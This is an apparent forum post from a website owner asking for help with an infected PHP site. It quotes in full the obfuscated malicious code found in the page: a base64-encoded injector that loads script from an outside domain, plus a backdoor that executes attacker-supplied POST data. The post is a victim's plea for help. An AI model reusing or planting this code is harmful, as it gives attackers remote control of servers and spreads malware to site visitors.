hello my site is infected with a virus which closes my site when open it due to a php script which i discovered its code in the top of my page when i checked my site in c panel the code is <?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnZHhlbScpKXtmdW5jdGlvbiBkeGVtKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDJ4dmRXbHphV0Z1WVdwaGVucGpiSFZpTG01bGRDOXVaWGR6YVhSbEwyMTFjMmx4ZFdWelgyRnBiR3hsZFhKekxuQm9jQ0ErUEM5elkzSnBjSFErJyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRzO31mdW5jdGlvbiBkeGVtMigkYSwkYiwkYywkZCl7Z2xvYmFsJGR4ZW0xOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRkeGVtMSkpY2FsbF91c2VyX2Z1bmMoJGR4ZW0xLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdkeGVtJylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnZHhlbScpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRkeGVtbD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignZHhlbTInKSkhPSdkeGVtMicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?> and when i check ths source of my site using firefox i see that php script </head><script src=http://louisianajazzclub.net/newsite/musiques_ailleurs.php ></script> which is strange to my site when i deleted the long code above nothing changed and the site began to lose visitors because google has reported my site to harm computers